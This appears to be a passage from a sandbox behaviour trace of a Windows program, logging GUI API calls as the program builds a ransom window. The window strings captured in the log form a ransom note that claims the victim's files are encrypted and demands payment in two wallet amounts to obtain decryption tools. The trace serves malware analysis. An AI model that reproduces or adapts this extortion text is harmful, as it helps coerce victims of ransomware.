(hWnd=0x201d4, Msg=0x2055, wParam=0x201d4, lParam=0x3) returned 0x2 [0180.885] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0180.885] GetWindow (hWnd=0x201d4, uCmd=0x3) returned 0x201d2 [0180.885] GetClientRect (in: hWnd=0x201d4, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.885] GetWindowRect (in: hWnd=0x201d4, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.885] GetParent (hWnd=0x201d4) returned 0x201ea [0180.885] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad140, cPoints=0x2 | out: lpPoints=0x1ad140) returned -32243971 [0180.885] GetWindowTextLengthW (hWnd=0x201d4) returned 0 [0180.885] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0180.885] GetSystemMetrics (nIndex=42) returned 0 [0180.885] GetWindowTextW (in: hWnd=0x201d4, lpString=0x1acdc0, nMaxCount=1 | out: lpString="") returned 0 [0180.885] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0xd, wParam=0x1, lParam=0x1acdc0) returned 0x0 [0180.885] GetWindowTextLengthW (hWnd=0x201ea) returned 50 [0180.885] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x32 [0180.885] GetSystemMetrics (nIndex=42) returned 0 [0180.885] GetWindowTextW (in: hWnd=0x201ea, lpString=0x1acdf0, nMaxCount=51 | out: lpString=" Step 2: Complete form for get Decryption tools ") returned 50 [0180.885] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0xd, wParam=0x33, lParam=0x1acdf0) returned 0x32 [0180.885] GetDC (hWnd=0x0) returned 0x901081c [0180.885] GdipCreateFromHDC (hdc=0x901081c, graphics=0x1ace08) returned 0x0 [0180.885] CoTaskMemAlloc (cb=0x5c) returned 0x1da22000 [0180.885] GdipGetLogFontW (font=0x1cbe5000, graphics=0x1cc25910, logfontW=0x1da22000) returned 0x0 [0180.886] CoTaskMemFree (pv=0x1da22000) [0180.886] CoTaskMemAlloc (cb=0x5c) returned 0x1da22000 [0180.886] CoTaskMemFree (pv=0x1da22000) [0180.886] CoTaskMemAlloc (cb=0x5c) returned 0x1da22000 [0180.886] CoTaskMemFree (pv=0x1da22000) [0180.886] GdipDeleteGraphics (graphics=0x1cc25910) returned 0x0 [0180.886] ReleaseDC (hWnd=0x0, hDC=0x901081c) returned 1 [0180.886] CoTaskMemAlloc (cb=0x5c) returned 0x1da22000 [0180.886] CreateFontIndirectW (lplf=0x1da22000) returned 0x140a0822 [0180.886] CoTaskMemFree (pv=0x1da22000) [0180.886] SendMessageW (hWnd=0x201d4, Msg=0x30, wParam=0x140a0822, lParam=0x0) returned 0x1 [0180.886] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x30, wParam=0x140a0822, lParam=0x0) returned 0x1 [0180.886] SendMessageW (hWnd=0x201d4, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.886] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.886] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1da22000 [0180.886] SendMessageW (hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29b0ae0) returned 0x1 [0180.887] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29b0ae0) returned 0x1 [0180.887] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x55, wParam=0x201d8, lParam=0x3) returned 0x2 [0180.887] LocalFree (hMem=0x1da22000) returned 0x0 [0180.887] GetSystemMetrics (nIndex=5) returned 1 [0180.887] GetSystemMetrics (nIndex=6) returned 1 [0180.887] SendMessageW (hWnd=0x201d4, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.887] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.887] SendMessageW (hWnd=0x201d4, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0180.887] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0180.887] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x5, wParam=0x0, lParam=0x170126) returned 0x0 [0180.887] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x3, wParam=0x0, lParam=0x24006a) returned 0x0 [0180.887] GetClientRect (in: hWnd=0x201d4, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.887] GetWindowRect (in: hWnd=0x201d4, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.887] GetParent (hWnd=0x201d4) returned 0x201ea [0180.887] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1aced0, cPoints=0x2 | out: lpPoints=0x1aced0) returned -32243971 [0180.887] SendMessageW (hWnd=0x201d4, Msg=0x2210, wParam=0x1d40001, lParam=0x201d4) returned 0x0 [0180.887] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x2210, wParam=0x1d40001, lParam=0x201d4) returned 0x0 [0180.888] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.888] GetParent (hWnd=0x201d4) returned 0x201ea [0180.888] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0180.888] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.889] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.889] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Your important files are encrypted.\r\nMany of your documents,photo,video,database,project\r\nand other files are no longer accessible because they have\r\nbeen encrypted. maybe you are busy looking for a way to \r\nrecover your files, but do not waste your time. nobody can\r\nrecover your files without our decryption service.", dwStyle=0x5600000d, X=11, Y=149, nWidth=361, nHeight=78, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201ce [0180.889] SetWindowLongPtrW (hWnd=0x201ce, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.889] GetWindowLongPtrW (hWnd=0x201ce, nIndex=-4) returned 0x7fefc1961b4 [0180.889] SetWindowLongPtrW (hWnd=0x201ce, nIndex=-4, dwNewLong=0x1b5c25ac) returned 0x7fefc1961b4 [0180.889] GetWindowLongPtrW (hWnd=0x201ce, nIndex=-4) returned 0x1b5c25ac [0180.889] GetWindowLongPtrW (hWnd=0x201ce, nIndex=-16) returned 0x4600000d [0180.889] GetWindowLongPtrW (hWnd=0x201ce, nIndex=-12) returned 0x0 [0180.889] SetWindowLongPtrW (hWnd=0x201ce, nIndex=-12, dwNewLong=0x201ce) returned 0x0 [0180.889] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ce, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0180.889] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ce, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0180.889] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ce, Msg=0x1, wParam=0x0, lParam=0x1ad4f0) returned 0x0 [0180.889] GetWindow (hWnd=0x201ce, uCmd=0x3) returned 0x201ea [0180.889] GetClientRect (in: hWnd=0x201ce, lpRect=0x1acf30 | out: lpRect=0x1acf30) returned 1 [0180.889] GetWindowRect (in: hWnd=0x201ce, lpRect=0x1acf30 | out: lpRect=0x1acf30) returned 1 [0180.889] GetParent (hWnd=0x201ce) returned 0x60126 [0180.889] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1acf30, cPoints=0x2 | out: lpPoints=0x1acf30) returned -7340282 [0180.890] SetWindowTextW (hWnd=0x201ce, lpString="Your important files are encrypted.\r\nMany of your documents,photo,video,database,project\r\nand other files are no longer accessible because they have\r\nbeen encrypted. maybe you are busy looking for a way to \r\nrecover your files, but do not waste your time. nobody can\r\nrecover your files without our decryption service.") returned 1 [0180.890] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ce, Msg=0xc, wParam=0x0, lParam=0x28f8fdc) returned 0x1 [0180.890] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ce, Msg=0x5, wParam=0x0, lParam=0x4e0169) returned 0x0 [0180.890] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ce, Msg=0x3, wParam=0x0, lParam=0x95000b) returned 0x0 [0180.890] GetClientRect (in: hWnd=0x201ce, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0180.890] GetWindowRect (in: hWnd=0x201ce, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0180.890] GetParent (hWnd=0x201ce) returned 0x60126 [0180.890] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0180.890] SendMessageW (hWnd=0x201ce, Msg=0x2210, wParam=0x1ce0001, lParam=0x201ce) returned 0x0 [0180.890] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ce, Msg=0x2210, wParam=0x1ce0001, lParam=0x201ce) returned 0x0 [0180.890] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ce, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.890] GetParent (hWnd=0x201ce) returned 0x60126 [0180.890] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0180.890] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.890] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.891] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=" Step 1: For Decrypt pay 300$ to two wallet ", dwStyle=0x56000000, X=9, Y=249, nWidth=415, nHeight=125, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201d0 [0180.891] SetWindowLongPtrW (hWnd=0x201d0, nIndex=-4, dwNewLong=0x7769b0ac) returned 0x1b5b13ec [0180.891] GetWindowLongPtrW (hWnd=0x201d0, nIndex=-4) returned 0x7769b0ac [0180.891] SetWindowLongPtrW (hWnd=0x201d0, nIndex=-4, dwNewLong=0x1b5c25fc) returned 0x7769b0ac [0180.891] GetWindowLongPtrW (hWnd=0x201d0, nIndex=-4) returned 0x1b5c25fc [0180.891] GetWindowLongPtrW (hWnd=0x201d0, nIndex=-16) returned 0x46000000 [0180.891] GetWindowLongPtrW (hWnd=0x201d0, nIndex=-12) returned 0x0 [0180.891] SetWindowLongPtrW (hWnd=0x201d0, nIndex=-12, dwNewLong=0x201d0) returned 0x0 [0180.891] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0180.891] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0180.891] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x1, wParam=0x0, lParam=0x1ad710) returned 0x0 [0180.891] GetWindow (hWnd=0x201d0, uCmd=0x3) returned 0x201ce [0180.891] GetClientRect (in: hWnd=0x201d0, lpRect=0x1ad1a0 | out: lpRect=0x1ad1a0) returned 1 [0180.891] GetWindowRect (in: hWnd=0x201d0, lpRect=0x1ad1a0 | out: lpRect=0x1ad1a0) returned 1 [0180.891] GetParent (hWnd=0x201d0) returned 0x60126 [0180.891] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1a0, cPoints=0x2 | out: lpPoints=0x1ad1a0) returned -7340282 [0180.892] SetWindowTextW (hWnd=0x201d0, lpString=" Step 1: For Decrypt pay 300$ to two wallet ") returned 1 [0180.892] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0xc, wParam=0x0, lParam=0x28fa4fc) returned 0x1 [0180.892] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x5, wParam=0x0, lParam=0x7d019f) returned 0x0 [0180.892] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x3, wParam=0x0, lParam=0xf90009) returned 0x0 [0180.892] GetClientRect (in: hWnd=0x201d0, lpRect=0x1ad320 | out: lpRect=0x1ad320) returned 1 [0180.892] GetWindowRect (in: hWnd=0x201d0, lpRect=0x1ad320 | out: lpRect=0x1ad320) returned 1 [0180.892] GetParent (hWnd=0x201d0) returned 0x60126 [0180.892] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad320, cPoints=0x2 | out: lpPoints=0x1ad320) returned -7340282 [0180.892] SendMessageW (hWnd=0x201d0, Msg=0x2210, wParam=0x1d00001, lParam=0x201d0) returned 0x0 [0180.892] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x2210, wParam=0x1d00001, lParam=0x201d0) returned 0x0 [0180.892] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.892] GetParent (hWnd=0x201d0) returned 0x60126 [0180.892] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.892] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.893] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.893] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="=", dwStyle=0x5600000d, X=279, Y=92, nWidth=14, nHeight=15, hWndParent=0x201d0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201ca [0180.893] SetWindowLongPtrW (hWnd=0x201ca, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.893] GetWindowLongPtrW (hWnd=0x201ca, nIndex=-4) returned 0x7fefc1961b4 [0180.893] SetWindowLongPtrW (hWnd=0x201ca, nIndex=-4, dwNewLong=0x1b5c264c) returned 0x7fefc1961b4 [0180.893] GetWindowLongPtrW (hWnd=0x201ca, nIndex=-4) returned 0x1b5c264c [0180.893] GetWindowLongPtrW (hWnd=0x201ca, nIndex=-16) returned 0x4600000d [0180.893] GetWindowLongPtrW (hWnd=0x201ca, nIndex=-12) returned 0x0 [0180.893] SetWindowLongPtrW (hWnd=0x201ca, nIndex=-12, dwNewLong=0x201ca) returned 0x0 [0180.893] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ca, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.893] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ca, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.893] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ca, Msg=0x1, wParam=0x0, lParam=0x1ad700) returned 0x0 [0180.893] GetWindow (hWnd=0x201ca, uCmd=0x3) returned 0x0 [0180.893] GetClientRect (in: hWnd=0x201ca, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.893] GetWindowRect (in: hWnd=0x201ca, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.893] GetParent (hWnd=0x201ca) returned 0x201d0 [0180.893] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad140, cPoints=0x2 | out: lpPoints=0x1ad140) returned -23658755 [0180.894] SetWindowTextW (hWnd=0x201ca, lpString="=") returned 1 [0180.894] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ca, Msg=0xc, wParam=0x0, lParam=0x28c67fc) returned 0x1 [0180.894] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ca, Msg=0x5, wParam=0x0, lParam=0xf000e) returned 0x0 [0180.894] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ca, Msg=0x3, wParam=0x0, lParam=0x5c0117) returned 0x0 [0180.894] GetClientRect (in: hWnd=0x201ca, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.894] GetWindowRect (in: hWnd=0x201ca, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.894] GetParent (hWnd=0x201ca) returned 0x201d0 [0180.894] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -23658755 [0180.894] SendMessageW (hWnd=0x201ca, Msg=0x2210, wParam=0x1ca0001, lParam=0x201ca) returned 0x0 [0180.894] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ca, Msg=0x2210, wParam=0x1ca0001, lParam=0x201ca) returned 0x0 [0180.894] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ca, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.894] GetParent (hWnd=0x201ca) returned 0x201d0 [0180.894] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.894] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.894] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.894] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="=", dwStyle=0x5600000d, X=279, Y=48, nWidth=14, nHeight=15, hWndParent=0x201d0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201cc [0180.894] SetWindowLongPtrW (hWnd=0x201cc, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.894] GetWindowLongPtrW (hWnd=0x201cc, nIndex=-4) returned 0x7fefc1961b4 [0180.895] SetWindowLongPtrW (hWnd=0x201cc, nIndex=-4, dwNewLong=0x1b5c269c) returned 0x7fefc1961b4 [0180.895] GetWindowLongPtrW (hWnd=0x201cc, nIndex=-4) returned 0x1b5c269c [0180.895] GetWindowLongPtrW (hWnd=0x201cc, nIndex=-16) returned 0x4600000d [0180.895] GetWindowLongPtrW (hWnd=0x201cc, nIndex=-12) returned 0x0 [0180.895] SetWindowLongPtrW (hWnd=0x201cc, nIndex=-12, dwNewLong=0x201cc) returned 0x0 [0180.895] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201cc, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.895] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201cc, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.895] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201cc, Msg=0x1, wParam=0x0, lParam=0x1ad700) returned 0x0 [0180.895] GetWindow (hWnd=0x201cc, uCmd=0x3) returned 0x201ca [0180.895] GetClientRect (in: hWnd=0x201cc, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.895] GetWindowRect (in: hWnd=0x201cc, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.895] GetParent (hWnd=0x201cc) returned 0x201d0 [0180.895] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad140, cPoints=0x2 | out: lpPoints=0x1ad140) returned -23658755 [0180.896] SetWindowTextW (hWnd=0x201cc, lpString="=") returned 1 [0180.896] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201cc, Msg=0xc, wParam=0x0, lParam=0x28c67fc) returned 0x1 [0180.896] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201cc, Msg=0x5, wParam=0x0, lParam=0xf000e) returned 0x0 [0180.896] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201cc, Msg=0x3, wParam=0x0, lParam=0x300117) returned 0x0 [0180.896] GetClientRect (in: hWnd=0x201cc, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.896] GetWindowRect (in: hWnd=0x201cc, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.896] GetParent (hWnd=0x201cc) returned 0x201d0 [0180.896] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -23658755 [0180.896] SendMessageW (hWnd=0x201cc, Msg=0x2210, wParam=0x1cc0001, lParam=0x201cc) returned 0x0 [0180.896] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201cc, Msg=0x2210, wParam=0x1cc0001, lParam=0x201cc) returned 0x0 [0180.896] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201cc, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.896] GetParent (hWnd=0x201cc) returned 0x201d0 [0180.896] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.896] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.896] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.896] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Wallet 2:", dwStyle=0x5600000d, X=6, Y=72, nWidth=90, nHeight=19, hWndParent=0x201d0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201e4 [0180.896] SetWindowLongPtrW (hWnd=0x201e4, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.897] GetWindowLongPtrW (hWnd=0x201e4, nIndex=-4) returned 0x7fefc1961b4 [0180.897] SetWindowLongPtrW (hWnd=0x201e4, nIndex=-4, dwNewLong=0x1b5c26ec) returned 0x7fefc1961b4 [0180.897] GetWindowLongPtrW (hWnd=0x201e4, nIndex=-4) returned 0x1b5c26ec [0180.897] GetWindowLongPtrW (hWnd=0x201e4, nIndex=-16) returned 0x4600000d [0180.897] GetWindowLongPtrW (hWnd=0x201e4, nIndex=-12) returned 0x0 [0180.897] SetWindowLongPtrW (hWnd=0x201e4, nIndex=-12, dwNewLong=0x201e4) returned 0x0 [0180.897] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e4, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.897] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e4, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.897] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e4, Msg=0x1, wParam=0x0, lParam=0x1ad6f0) returned 0x0 [0180.897] GetWindow (hWnd=0x201e4, uCmd=0x3) returned 0x201cc [0180.897] GetClientRect (in: hWnd=0x201e4, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.897] GetWindowRect (in: hWnd=0x201e4, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.897] GetParent (hWnd=0x201e4) returned 0x201d0 [0180.897] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad130, cPoints=0x2 | out: lpPoints=0x1ad130) returned -23658755 [0180.897] SetWindowTextW (hWnd=0x201e4, lpString="Wallet 2:") returned 1 [0180.897] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e4, Msg=0xc, wParam=0x0, lParam=0x28c6fec) returned 0x1 [0180.898] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e4, Msg=0x5, wParam=0x0, lParam=0x13005a) returned 0x0 [0180.898] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e4, Msg=0x3, wParam=0x0, lParam=0x480006) returned 0x0 [0180.898] GetClientRect (in: hWnd=0x201e4, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.898] GetWindowRect (in: hWnd=0x201e4, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.898] GetParent (hWnd=0x201e4) returned 0x201d0 [0180.898] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -23658755 [0180.898] SendMessageW (hWnd=0x201e4, Msg=0x2210, wParam=0x1e40001, lParam=0x201e4) returned 0x0 [0180.898] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e4, Msg=0x2210, wParam=0x1e40001, lParam=0x201e4) returned 0x0 [0180.898] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.898] GetParent (hWnd=0x201e4) returned 0x201d0 [0180.898] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.898] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.898] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.898] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="200 $", dwStyle=0x5600000d, X=321, Y=93, nWidth=42, nHeight=15, hWndParent=0x201d0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201e6 [0180.898] SetWindowLongPtrW (hWnd=0x201e6, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.898] GetWindowLongPtrW (hWnd=0x201e6, nIndex=-4) returned 0x7fefc1961b4 [0180.898] SetWindowLongPtrW (hWnd=0x201e6, nIndex=-4, dwNewLong=0x1b5c273c) returned 0x7fefc1961b4 [0180.899] GetWindowLongPtrW (hWnd=0x201e6, nIndex=-4) returned 0x1b5c273c [0180.899] GetWindowLongPtrW (hWnd=0x201e6, nIndex=-16) returned 0x4600000d [0180.899] GetWindowLongPtrW (hWnd=0x201e6, nIndex=-12) returned 0x0 [0180.899] SetWindowLongPtrW (hWnd=0x201e6, nIndex=-12, dwNewLong=0x201e6) returned 0x0 [0180.899] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e6, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.899] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e6, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.899] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e6, Msg=0x1, wParam=0x0, lParam=0x1ad6f0) returned 0x0 [0180.899] GetWindow (hWnd=0x201e6, uCmd=0x3) returned 0x201e4 [0180.899] GetClientRect (in: hWnd=0x201e6, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.899] GetWindowRect (in: hWnd=0x201e6, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.899] GetParent (hWnd=0x201e6) returned 0x201d0 [0180.899] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad130, cPoints=0x2 | out: lpPoints=0x1ad130) returned -23658755 [0180.899] SetWindowTextW (hWnd=0x201e6, lpString="200 $") returned 1 [0180.899] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e6, Msg=0xc, wParam=0x0, lParam=0x28c73f4) returned 0x1 [0180.899] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e6, Msg=0x5, wParam=0x0, lParam=0xf002a) returned 0x0 [0180.899] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e6, Msg=0x3, wParam=0x0, lParam=0x5d0141) returned 0x0 [0180.899] GetClientRect (in: hWnd=0x201e6, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.899] GetWindowRect (in: hWnd=0x201e6, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.900] GetParent (hWnd=0x201e6) returned 0x201d0 [0180.900] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -23658755 [0180.900] SendMessageW (hWnd=0x201e6, Msg=0x2210, wParam=0x1e60001, lParam=0x201e6) returned 0x0 [0180.900] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, 